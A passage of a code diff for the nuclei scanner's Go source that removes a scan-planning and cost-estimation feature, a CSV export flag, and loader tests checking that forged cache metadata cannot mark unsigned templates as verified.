"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
|
||||
@@ -120,14 +119,6 @@ func ParseOptions(options *types.Options) {
|
||||
options.Logger.Debug().Msgf("Store response directory specified, enabling \"store-resp\" flag automatically\n")
|
||||
options.StoreResponse = true
|
||||
}
|
||||
// Derived before validation: -uncover-query turns uncover on, and -plan
|
||||
// has to reject that before any target lookup starts.
|
||||
if options.UncoverQuery != nil {
|
||||
options.Uncover = true
|
||||
if len(options.UncoverEngine) == 0 {
|
||||
options.UncoverEngine = append(options.UncoverEngine, "shodan")
|
||||
}
|
||||
}
|
||||
// Validate the options passed by the user and if any
|
||||
// invalid options have been used, exit.
|
||||
if err := ValidateOptions(options); err != nil {
|
||||
@@ -147,6 +138,13 @@ func ParseOptions(options *types.Options) {
|
||||
_ = os.Setenv("GITHUB_TOKEN", options.GitHubToken)
|
||||
}
|
||||
|
||||
if options.UncoverQuery != nil {
|
||||
options.Uncover = true
|
||||
if len(options.UncoverEngine) == 0 {
|
||||
options.UncoverEngine = append(options.UncoverEngine, "shodan")
|
||||
}
|
||||
}
|
||||
|
||||
if options.OfflineHTTP {
|
||||
options.DisableHTTPProbe = true
|
||||
}
|
||||
@@ -164,9 +162,6 @@ func ValidateOptions(options *types.Options) error {
|
||||
}
|
||||
return errors.Wrap(errors.New(strings.Join(errs, ", ")), "validation failed for these fields")
|
||||
}
|
||||
if err := validatePlanOptions(options); err != nil {
|
||||
return err
|
||||
}
|
||||
if options.Verbose && options.Silent {
|
||||
return errors.New("both verbose and silent mode specified")
|
||||
}
|
||||
@@ -372,18 +367,6 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
|
||||
}
|
||||
}
|
||||
}
|
||||
if options.CSVExport != "" {
|
||||
// Combine the CLI options with the config file options with the CLI options taking precedence
|
||||
if reportingOptions.CSVExporter != nil {
|
||||
reportingOptions.CSVExporter.File = options.CSVExport
|
||||
reportingOptions.CSVExporter.OmitRaw = options.OmitRawRequests
|
||||
} else {
|
||||
reportingOptions.CSVExporter = &csv.Options{
|
||||
File: options.CSVExport,
|
||||
OmitRaw: options.OmitRawRequests,
|
||||
}
|
||||
}
|
||||
}
|
||||
if options.PDFExport != "" {
|
||||
if reportingOptions.PDFExporter != nil {
|
||||
reportingOptions.PDFExporter.File = options.PDFExport
|
||||
@@ -553,22 +536,3 @@ func getBoolEnvValue(key string) bool {
|
||||
value := os.Getenv(key)
|
||||
return strings.EqualFold(value, "true")
|
||||
}
|
||||
|
||||
// validatePlanOptions rejects options that change the templates or targets
|
||||
// only once scanning starts, which a plan written beforehand cannot show.
|
||||
func validatePlanOptions(options *types.Options) error {
|
||||
if options.PlanFile == "" {
|
||||
return nil
|
||||
}
|
||||
switch {
|
||||
case options.AutomaticScan:
|
||||
return errors.New("-plan cannot be used with -automatic-scan, which picks templates while scanning")
|
||||
case options.Uncover || len(options.UncoverQuery) > 0:
|
||||
return errors.New("-plan cannot be used with -uncover, which finds targets over the network")
|
||||
case options.PreflightPortScan:
|
||||
return errors.New("-plan cannot be used with -preflight-portscan, which drops targets after scanning their ports")
|
||||
case options.DASTServer || options.DASTProxy:
|
||||
return errors.New("-plan cannot be used with -dast-server or -dast-proxy, which start a server instead of writing a plan")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"slices"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/core"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/json"
|
||||
)
|
||||
|
||||
// httpRequestSeconds is the time of one http request the plan costs are
|
||||
// weighted against (see core.PlanEntry.Cost).
|
||||
const httpRequestSeconds = 0.015
|
||||
|
||||
// planSummary is the last line of a plan file, written once every entry is
|
||||
// known.
|
||||
type planSummary struct {
|
||||
Entries int `json:"entries"`
|
||||
// Alternatives are entries that run only when another of their origin
|
||||
// fails, so they are left out of every other total.
|
||||
Alternatives int `json:"alternatives,omitempty"`
|
||||
Requests int `json:"requests"`
|
||||
Cost int `json:"cost"`
|
||||
// EstimatedSeconds is the largest of the time the rate limit allows, the
|
||||
// cost spread over every concurrent slot, and the longest entry, whose
|
||||
// requests run one after another. Hosts slower than the measured request
|
||||
// time make the scan take longer.
|
||||
EstimatedSeconds int `json:"estimated-seconds"`
|
||||
}
|
||||
|
||||
// writePlan writes one JSON line per unit of work the scan would run,
|
||||
// followed by the summary. Targets are listed as given: inputs that the scan
|
||||
// would probe to an http url first are not probed here, since probing sends
|
||||
// requests.
|
||||
func (r *Runner) writePlan(store *loader.Store, engine *core.Engine) error {
|
||||
if !r.options.DisableHTTPProbe && loader.IsHTTPBasedProtocolUsed(store) && r.isInputNonHTTP() {
|
||||
r.Logger.Info().Msgf("Targets without a scheme are planned as given; the scan probes them for http(s) first")
|
||||
}
|
||||
file, err := os.Create(r.options.PlanFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
writer := bufio.NewWriter(file)
|
||||
encoder := json.NewEncoder(writer)
|
||||
|
||||
var summary planSummary
|
||||
var headlessCost, longest int
|
||||
var encodeErr error
|
||||
engine.Plan(slices.Concat(store.Templates(), store.Workflows()), r.inputProvider, r.options.DisableClustering, func(entry core.PlanEntry) {
|
||||
if encodeErr != nil {
|
||||
return
|
||||
}
|
||||
encodeErr = encoder.Encode(entry)
|
||||
if entry.AlternativeTo != "" {
|
||||
summary.Alternatives++
|
||||
return
|
||||
}
|
||||
summary.Entries++
|
||||
summary.Requests += entry.Requests
|
||||
summary.Cost += entry.Cost
|
||||
longest = max(longest, entry.Cost)
|
||||
if entry.Protocol == types.HeadlessProtocol.String() {
|
||||
headlessCost += entry.Cost
|
||||
}
|
||||
})
|
||||
if encodeErr != nil {
|
||||
return encodeErr
|
||||
}
|
||||
summary.EstimatedSeconds = r.estimateSeconds(summary.Requests, summary.Cost-headlessCost, headlessCost, longest)
|
||||
if err := encoder.Encode(map[string]planSummary{"summary": summary}); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := writer.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
r.Logger.Info().Msgf("Plan written to %s: %d template runs, up to %d requests, about %ds", r.options.PlanFile, summary.Entries, summary.Requests, summary.EstimatedSeconds)
|
||||
return nil
|
||||
}
|
||||
|
||||
// estimateSeconds estimates the scan duration. Headless templates run in
|
||||
// their own, smaller pool, so their cost is spread over it separately.
|
||||
func (r *Runner) estimateSeconds(requests, cost, headlessCost, longest int) int {
|
||||
seconds := float64(longest) * httpRequestSeconds
|
||||
if r.options.RateLimit > 0 && r.options.RateLimitDuration > 0 {
|
||||
seconds = max(seconds, float64(requests)/(float64(r.options.RateLimit)/r.options.RateLimitDuration.Seconds()))
|
||||
}
|
||||
if slots := r.options.TemplateThreads * r.options.BulkSize; slots > 0 {
|
||||
seconds = max(seconds, float64(cost)*httpRequestSeconds/float64(slots))
|
||||
}
|
||||
if slots := r.options.HeadlessTemplateThreads * r.options.HeadlessBulkSize; slots > 0 {
|
||||
seconds = max(seconds, float64(headlessCost)*httpRequestSeconds/float64(slots))
|
||||
}
|
||||
return int(seconds + 0.5)
|
||||
}
|
||||
@@ -1,26 +0,0 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPlanRejectsOptionsThatChangeTargetsLater(t *testing.T) {
|
||||
for name, options := range map[string]*types.Options{
|
||||
"automatic scan": {PlanFile: "p", AutomaticScan: true},
|
||||
"uncover": {PlanFile: "p", Uncover: true},
|
||||
"uncover query": {PlanFile: "p", UncoverQuery: goflags.StringSlice{"example"}},
|
||||
"preflight": {PlanFile: "p", PreflightPortScan: true},
|
||||
"dast server": {PlanFile: "p", DASTServer: true},
|
||||
"dast proxy": {PlanFile: "p", DASTProxy: true},
|
||||
} {
|
||||
require.Error(t, validatePlanOptions(options), name)
|
||||
}
|
||||
require.NoError(t, validatePlanOptions(&types.Options{PlanFile: "p"}))
|
||||
require.NoError(t, validatePlanOptions(&types.Options{Uncover: true}), "only -plan restricts them")
|
||||
require.NoError(t, validatePlanOptions(&types.Options{UncoverQuery: goflags.StringSlice{"example"}}))
|
||||
require.NoError(t, validatePlanOptions(&types.Options{DASTServer: true}))
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestEstimateSecondsTakesTheSlowestBound(t *testing.T) {
|
||||
r := &Runner{options: &types.Options{
|
||||
RateLimit: 150, RateLimitDuration: time.Second,
|
||||
TemplateThreads: 25, BulkSize: 25,
|
||||
HeadlessTemplateThreads: 10, HeadlessBulkSize: 10,
|
||||
}}
|
||||
|
||||
require.Equal(t, 20, r.estimateSeconds(3000, 3000, 0, 12), "rate limit bound")
|
||||
require.Equal(t, 10, r.estimateSeconds(52, 41, 660, 660), "one long entry runs its requests in sequence")
|
||||
require.Equal(t, 9, r.estimateSeconds(100, 0, 60000, 60), "headless cost spreads over the headless pool")
|
||||
|
||||
r.options.RateLimit = 0
|
||||
require.Equal(t, 0, r.estimateSeconds(3000, 3000, 0, 1), "no rate limit, cost spread over 625 slots")
|
||||
}
|
||||
@@ -147,18 +147,10 @@ func New(options *types.Options) (*Runner, error) {
|
||||
|
||||
// Version check by default
|
||||
if config.DefaultConfig.CanCheckForUpdates() {
|
||||
// -plan sends no request it can avoid, so it skips the version and
|
||||
// update checks; it still installs templates on a fresh setup, which
|
||||
// would otherwise plan nothing
|
||||
checkUpdates := options.PlanFile == ""
|
||||
var latestIgnoreHash string
|
||||
if checkUpdates {
|
||||
var versionCheckErr error
|
||||
latestIgnoreHash, versionCheckErr = installer.NucleiVersionCheck()
|
||||
if versionCheckErr != nil {
|
||||
if options.Verbose || options.Debug {
|
||||
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", versionCheckErr)
|
||||
}
|
||||
latestIgnoreHash, versionCheckErr := installer.NucleiVersionCheck()
|
||||
if versionCheckErr != nil {
|
||||
if options.Verbose || options.Debug {
|
||||
runner.Logger.Error().Msgf("nuclei version check failed got: %s\n", versionCheckErr)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -179,19 +171,17 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if err := tm.FreshInstallIfNotExists(); err != nil {
|
||||
runner.Logger.Warning().Msgf("Failed to install nuclei templates: %s\n", err)
|
||||
}
|
||||
if checkUpdates {
|
||||
if err := tm.UpdateIfOutdated(); err != nil {
|
||||
runner.Logger.Warning().Msgf("Failed to update nuclei templates: %s\n", err)
|
||||
}
|
||||
if err := tm.UpdateIfOutdated(); err != nil {
|
||||
runner.Logger.Warning().Msgf("Failed to update nuclei templates: %s\n", err)
|
||||
}
|
||||
|
||||
if checkUpdates && config.DefaultConfig.IgnoreFileNeedsUpdate(latestIgnoreHash) {
|
||||
if config.DefaultConfig.IgnoreFileNeedsUpdate(latestIgnoreHash) {
|
||||
if err := installer.UpdateIgnoreFile(); err != nil {
|
||||
runner.Logger.Warning().Msgf("Failed to update .nuclei-ignore file: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
if checkUpdates && options.UpdateTemplates {
|
||||
if options.UpdateTemplates {
|
||||
// we automatically check for updates unless explicitly disabled
|
||||
// this print statement is only to inform the user that there are no updates
|
||||
noUpdates := !config.DefaultConfig.NeedsTemplateUpdate()
|
||||
@@ -602,13 +592,8 @@ func (r *Runner) RunEnumeration() error {
|
||||
httpclientpool.ResetConnectionStats()
|
||||
|
||||
// If the user has asked for DAST server mode, run the live
|
||||
// DAST fuzzing server. -plan never reaches this with those flags set:
|
||||
// validation rejects the combination, and this check covers a caller
|
||||
// that skipped it.
|
||||
// DAST fuzzing server.
|
||||
if r.options.DASTServer || r.options.DASTProxy {
|
||||
if err := validatePlanOptions(r.options); err != nil {
|
||||
return err
|
||||
}
|
||||
execurOpts := &server.NucleiExecutorOptions{
|
||||
Options: r.options,
|
||||
Output: r.output,
|
||||
@@ -832,11 +817,6 @@ func (r *Runner) RunEnumeration() error {
|
||||
profiles.Prepare(slices.Concat(store.Templates(), store.Workflows()))
|
||||
executorOpts.TargetScope = profiles
|
||||
}
|
||||
// before uncover, preflight, auth prefetch and probing below, all of which
|
||||
// reach the network
|
||||
if r.options.PlanFile != "" {
|
||||
return r.writePlan(store, executorEngine)
|
||||
}
|
||||
// TODO: remove below functions after v3 or update warning messages
|
||||
templates.PrintDeprecatedProtocolNameMsgIfApplicable(r.options.Silent, r.options.Verbose)
|
||||
|
||||
|
||||
@@ -38,35 +38,6 @@ func TestCreateReportingOptions(t *testing.T) {
|
||||
require.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)
|
||||
}
|
||||
|
||||
func TestCreateReportingOptionsCSVExport(t *testing.T) {
|
||||
t.Run("flag only", func(t *testing.T) {
|
||||
resultOptions, err := createReportingOptions(&types.Options{CSVExport: "out.csv", OmitRawRequests: true})
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, resultOptions.CSVExporter)
|
||||
require.Equal(t, "out.csv", resultOptions.CSVExporter.File)
|
||||
require.True(t, resultOptions.CSVExporter.OmitRaw)
|
||||
})
|
||||
|
||||
t.Run("flag is not set", func(t *testing.T) {
|
||||
resultOptions, err := createReportingOptions(&types.Options{})
|
||||
require.NoError(t, err)
|
||||
require.Nil(t, resultOptions.CSVExporter)
|
||||
})
|
||||
|
||||
t.Run("flag takes precedence over config file", func(t *testing.T) {
|
||||
config := filepath.Join(t.TempDir(), "report.yaml")
|
||||
require.NoError(t, os.WriteFile(config, []byte("csv:\n file: from-config.csv\n"), 0o600))
|
||||
|
||||
resultOptions, err := createReportingOptions(&types.Options{ReportingConfig: config})
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "from-config.csv", resultOptions.CSVExporter.File)
|
||||
|
||||
resultOptions, err = createReportingOptions(&types.Options{ReportingConfig: config, CSVExport: "from-flag.csv"})
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "from-flag.csv", resultOptions.CSVExporter.File)
|
||||
})
|
||||
}
|
||||
|
||||
type TestStruct1 struct {
|
||||
A string `yaml:"a"`
|
||||
Struct *TestStruct2 `yaml:"b"`
|
||||
|
||||
@@ -2,7 +2,6 @@ package loader
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
@@ -20,7 +19,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
templatesigner "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats"
|
||||
"github.com/stretchr/testify/require"
|
||||
@@ -687,135 +685,9 @@ http:
|
||||
loaded := loadSingleTemplateForTest(t, templatePath, "loader-unsigned-flow-template")
|
||||
require.Len(t, loaded, 1)
|
||||
require.Equal(t, "unsigned-flow-template", loaded[0].ID)
|
||||
require.False(t, loaded[0].Verified)
|
||||
require.Equal(t, initialUnverifiedJavascript, stats.GetValue(templates.SkippedUnverifiedJavascriptTemplateStats))
|
||||
}
|
||||
|
||||
func contentDigestForLoaderTest(data []byte) [32]byte {
|
||||
dataDigest := sha256.Sum256(data)
|
||||
return sha256.Sum256(dataDigest[:])
|
||||
}
|
||||
|
||||
func loadTemplateWithPoisonedMetadata(t *testing.T, templatePath, executionID string, source []byte, disableUnsigned bool) []*templates.Template {
|
||||
t.Helper()
|
||||
|
||||
fileInfo, err := os.Stat(templatePath)
|
||||
require.NoError(t, err)
|
||||
|
||||
metadataIndex, err := metadataindex.NewIndex(t.TempDir())
|
||||
require.NoError(t, err)
|
||||
metadataIndex.Set(templatePath, &metadataindex.Metadata{
|
||||
ID: "poisoned",
|
||||
FilePath: templatePath,
|
||||
ModTime: fileInfo.ModTime(),
|
||||
Name: "Poisoned",
|
||||
Authors: []string{"pdteam"},
|
||||
Severity: "info",
|
||||
Verified: true,
|
||||
TemplateVerifier: "projectdiscovery/nuclei-templates",
|
||||
VerifierFingerprint: templatesigner.DefaultTemplateVerifiers[0].Fingerprint(),
|
||||
ContentDigest: contentDigestForLoaderTest(source),
|
||||
Validation: metadataindex.ValidationStrict,
|
||||
})
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
options.Logger = &gologger.Logger{}
|
||||
options.ExecutionId = executionID
|
||||
options.DisableUnsignedTemplates = disableUnsigned
|
||||
options.TemplateLoadingConcurrency = 1
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
catalog := disk.NewCatalog("")
|
||||
executerOpts := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOpts.Catalog = catalog
|
||||
executerOpts.Parser = templates.NewParser()
|
||||
executerOpts.Logger = options.Logger
|
||||
|
||||
workflowLoader, err := workflow.NewLoader(executerOpts)
|
||||
require.NoError(t, err)
|
||||
executerOpts.WorkflowLoader = workflowLoader
|
||||
|
||||
loaderConfig := NewConfig(options, catalog, executerOpts)
|
||||
loaderConfig.MetadataIndex = metadataIndex
|
||||
store, err := New(loaderConfig)
|
||||
require.NoError(t, err)
|
||||
|
||||
loaded, err := store.LoadTemplates([]string{templatePath})
|
||||
require.NoError(t, err)
|
||||
return loaded
|
||||
}
|
||||
|
||||
func TestLoadTemplatesIgnoresSelfConsistentCacheForJavascript(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-javascript.yaml")
|
||||
source := []byte(`id: poisoned-cached-javascript
|
||||
|
||||
info:
|
||||
name: Poisoned Cached Javascript
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("poisoned-cached-javascript")
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-javascript", source, false)
|
||||
require.Empty(t, loaded)
|
||||
}
|
||||
|
||||
func TestLoadTemplatesAllowsUnsignedFlowDespitePoisonedCache(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-flow.yaml")
|
||||
source := []byte(`id: poisoned-cached-flow
|
||||
|
||||
info:
|
||||
name: Poisoned Cached Flow
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
flow: http(1)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-flow", source, false)
|
||||
require.Len(t, loaded, 1)
|
||||
require.Equal(t, "poisoned-cached-flow", loaded[0].ID)
|
||||
require.False(t, loaded[0].Verified)
|
||||
require.True(t, loaded[0].IsFlowTemplate())
|
||||
}
|
||||
|
||||
func TestLoadTemplatesSkipsPoisonedHttpWhenUnsignedDisabled(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-http.yaml")
|
||||
source := []byte(`id: poisoned-cached-http
|
||||
|
||||
info:
|
||||
name: Poisoned Cached HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`)
|
||||
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
|
||||
|
||||
initialUnverified := stats.GetValue(templates.SkippedUnverifiedTemplateStats)
|
||||
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-http-dut", source, true)
|
||||
require.Empty(t, loaded)
|
||||
require.Equal(t, initialUnverified+1, stats.GetValue(templates.SkippedUnverifiedTemplateStats))
|
||||
}
|
||||
|
||||
func TestLoadTemplatesDoesNotRequireGlobalMatchersFlagToLoadTemplate(t *testing.T) {
|
||||
templatePath := filepath.Join(t.TempDir(), "global-matchers.yaml")
|
||||
err := os.WriteFile(templatePath, []byte(`id: global-matchers-template
|
||||
|
||||
+13
-15
@@ -38,7 +38,19 @@ func (e *Engine) ExecuteScanWithOpts(ctx context.Context, templatesList []*templ
|
||||
|
||||
totalReqBeforeCluster := getRequestCount(templatesList) * int(target.Count())
|
||||
|
||||
finalTemplates, clusterCount := e.clusterTemplates(templatesList, noCluster)
|
||||
// attempt to cluster templates if noCluster is false
|
||||
var finalTemplates []*templates.Template
|
||||
clusterCount := 0
|
||||
if !noCluster {
|
||||
var clusterMappings map[string][]string
|
||||
finalTemplates, clusterCount, clusterMappings = templates.ClusterTemplates(templatesList, e.executerOpts)
|
||||
// Store cluster mappings in executerOpts for SDK access (thread-safe)
|
||||
if clusterMappings != nil {
|
||||
e.executerOpts.ClusterMappings = types.NewClusterMappingsMap(clusterMappings)
|
||||
}
|
||||
} else {
|
||||
finalTemplates = templatesList
|
||||
}
|
||||
|
||||
totalReqAfterClustering := getRequestCount(finalTemplates) * int(target.Count())
|
||||
|
||||
@@ -174,20 +186,6 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
|
||||
return results
|
||||
}
|
||||
|
||||
// clusterTemplates merges templates that send identical requests unless
|
||||
// noCluster is set, and returns the templates to run with the number merged.
|
||||
func (e *Engine) clusterTemplates(templatesList []*templates.Template, noCluster bool) ([]*templates.Template, int) {
|
||||
if noCluster {
|
||||
return templatesList, 0
|
||||
}
|
||||
finalTemplates, clusterCount, clusterMappings := templates.ClusterTemplates(templatesList, e.executerOpts)
|
||||
// Store cluster mappings in executerOpts for SDK access (thread-safe)
|
||||
if clusterMappings != nil {
|
||||
e.executerOpts.ClusterMappings = types.NewClusterMappingsMap(clusterMappings)
|
||||
}
|
||||
return finalTemplates, clusterCount
|
||||
}
|
||||
|
||||
// expectedWork returns the requests and the tasks the target-bound templates
|
||||
// will run. It counts only the template and target pairs that per-target
|
||||
// profiles select, so progress reflects the work that will be done. A task is
|
||||
|
||||
+6
-15
@@ -382,19 +382,6 @@ func newOriginAttempt() *originAttempt {
|
||||
return attempt
|
||||
}
|
||||
|
||||
// originScopeKey returns the key an origin-scoped template runs once per, and
|
||||
// false when the template runs on every target.
|
||||
func originScopeKey(template *templates.Template, value *contextargs.MetaInput) (string, bool) {
|
||||
if template == nil || value == nil || !template.IsOriginScoped() {
|
||||
return "", false
|
||||
}
|
||||
origin := normalize.Origin(value.Input)
|
||||
if origin == "" {
|
||||
return "", false
|
||||
}
|
||||
return template.ID + "\x00" + origin + "\x00" + value.CustomIP, true
|
||||
}
|
||||
|
||||
// claimOriginScoped reports whether this caller should execute an origin-scoped
|
||||
// template. finish(true) records a successful run. finish(false) releases the
|
||||
// claim so a later target, including one that waited, can try again. Templates
|
||||
@@ -402,10 +389,14 @@ func originScopeKey(template *templates.Template, value *contextargs.MetaInput)
|
||||
// key so each address selected for one URL is tested on its own.
|
||||
func (e *Engine) claimOriginScoped(template *templates.Template, value *contextargs.MetaInput) (finish func(bool), run bool) {
|
||||
noop := func(bool) {}
|
||||
key, scoped := originScopeKey(template, value)
|
||||
if !scoped {
|
||||
if template == nil || value == nil || !template.IsOriginScoped() {
|
||||
return noop, true
|
||||
}
|
||||
origin := normalize.Origin(value.Input)
|
||||
if origin == "" {
|
||||
return noop, true
|
||||
}
|
||||
key := template.ID + "\x00" + origin + "\x00" + value.CustomIP
|
||||
actual, _ := e.originScoped.LoadOrStore(key, newOriginAttempt())
|
||||
slot := actual.(*originAttempt)
|
||||
|
||||
|
||||
@@ -1,156 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
|
||||
)
|
||||
|
||||
// PlanEntry is one unit of work a scan runs: a template, a cluster of
|
||||
// templates sharing one request, or a workflow, on one target.
|
||||
type PlanEntry struct {
|
||||
// ID identifies the entry across runs of the same plan.
|
||||
ID string `json:"id"`
|
||||
// Target is empty for self-contained templates, which run once.
|
||||
Target string `json:"target,omitempty"`
|
||||
// IP is the address the target is pinned to, when it is.
|
||||
IP string `json:"ip,omitempty"`
|
||||
Templates []string `json:"templates"`
|
||||
Protocol string `json:"protocol"`
|
||||
// Requests is what the templates declare, the count -stats starts from.
|
||||
// The scan sends fewer when a request needs a value the target lacks,
|
||||
// such as {{DN}} on an ip.
|
||||
Requests int `json:"requests"`
|
||||
// Cost is Requests weighted by how long one request of the protocol
|
||||
// takes, in http requests.
|
||||
Cost int `json:"cost"`
|
||||
// Dynamic marks entries whose requests depend on responses: workflows
|
||||
// (only the root is counted), flows and fuzzing.
|
||||
Dynamic bool `json:"dynamic,omitempty"`
|
||||
// AlternativeTo is the id of an entry running the same origin-scoped
|
||||
// template on the same origin. Workers race for an origin, so the scan
|
||||
// runs whichever of the group claims it first, and another only when
|
||||
// that run fails. Totals count the group once.
|
||||
AlternativeTo string `json:"alternative-to,omitempty"`
|
||||
}
|
||||
|
||||
// Plan reports the work ExecuteScanWithOpts would do with the same arguments,
|
||||
// without sending anything. It applies the same clustering, per-target
|
||||
// profiles and once-per-origin rule, so a pair is listed only if the scan
|
||||
// would run it. Later targets of an origin-scoped template are listed as
|
||||
// alternatives to the first, since the scan retries them when a run fails.
|
||||
func (e *Engine) Plan(templatesList []*templates.Template, target provider.InputProvider, noCluster bool, emit func(PlanEntry)) {
|
||||
finalTemplates, _ := e.clusterTemplates(templatesList, noCluster)
|
||||
// clustering does not keep an order; a plan is diffed and edited, so it does
|
||||
finalTemplates = slices.SortedFunc(slices.Values(finalTemplates), func(a, b *templates.Template) int {
|
||||
return strings.Compare(a.ID, b.ID)
|
||||
})
|
||||
|
||||
var targetBound []*templates.Template
|
||||
for _, template := range finalTemplates {
|
||||
if template.SelfContained {
|
||||
emit(withPlanID(planEntry(template, &contextargs.MetaInput{}, nil)))
|
||||
} else {
|
||||
targetBound = append(targetBound, template)
|
||||
}
|
||||
}
|
||||
|
||||
// entries are emitted as they are planned, so memory does not grow with
|
||||
// the plan; only the first id per origin is kept
|
||||
originIDs := make(map[string]string)
|
||||
target.Iterate(func(value *contextargs.MetaInput) bool {
|
||||
selection := e.selectionFor(value)
|
||||
for _, template := range targetBound {
|
||||
if selection != nil && !template.SelectedBy(selection) {
|
||||
continue
|
||||
}
|
||||
entry := withPlanID(planEntry(template, value, selection))
|
||||
if key, scoped := originScopeKey(template, value); scoped {
|
||||
if id, seen := originIDs[key]; seen {
|
||||
entry.AlternativeTo = id
|
||||
} else {
|
||||
originIDs[key] = entry.ID
|
||||
}
|
||||
}
|
||||
emit(entry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func withPlanID(entry PlanEntry) PlanEntry {
|
||||
entry.ID = planEntryID(entry)
|
||||
return entry
|
||||
}
|
||||
|
||||
// protocolCost is how many http requests one request of a protocol is worth
|
||||
// in time. Measured per call against a CDN-fronted site, where an http
|
||||
// request took about 15ms: a javascript call adds about 150ms of runtime, a
|
||||
// headless page load with waitload took about 1s. Unlisted protocols cost
|
||||
// about one round trip, like http.
|
||||
var protocolCost = map[types.ProtocolType]int{
|
||||
types.JavascriptProtocol: 10,
|
||||
types.HeadlessProtocol: 60,
|
||||
}
|
||||
|
||||
func planEntry(template *templates.Template, value *contextargs.MetaInput, selection protocols.TemplateSelection) PlanEntry {
|
||||
entry := PlanEntry{
|
||||
Target: value.Input,
|
||||
IP: value.CustomIP,
|
||||
Templates: []string{template.ID},
|
||||
Protocol: template.Type().String(),
|
||||
Requests: template.TotalRequests,
|
||||
Dynamic: template.Flow != "" || template.IsFuzzableRequest(),
|
||||
}
|
||||
weight := func(protocol types.ProtocolType) int { return max(protocolCost[protocol], 1) }
|
||||
|
||||
switch {
|
||||
case template.CompiledWorkflow != nil:
|
||||
// only the root of a workflow is certain to run; subtemplates depend
|
||||
// on what it matches
|
||||
entry.Requests = 0
|
||||
for _, workflow := range template.CompiledWorkflow.Workflows {
|
||||
for _, executer := range workflow.Executers {
|
||||
requests := executer.Executer.Requests()
|
||||
entry.Requests += requests
|
||||
entry.Cost += requests * weight(executer.TemplateType)
|
||||
}
|
||||
}
|
||||
entry.Dynamic = true
|
||||
case isCluster(template):
|
||||
cluster := template.Executer.(*templates.ClusterExecuter)
|
||||
entry.Templates = slices.Sorted(slices.Values(cluster.TemplateIDs(selection)))
|
||||
// TotalRequests of a cluster counts only its http and dns requests,
|
||||
// so an ssl cluster would show none
|
||||
entry.Requests = cluster.Requests()
|
||||
entry.Cost = entry.Requests * weight(template.Type())
|
||||
case len(template.RequestsQueue) > 0:
|
||||
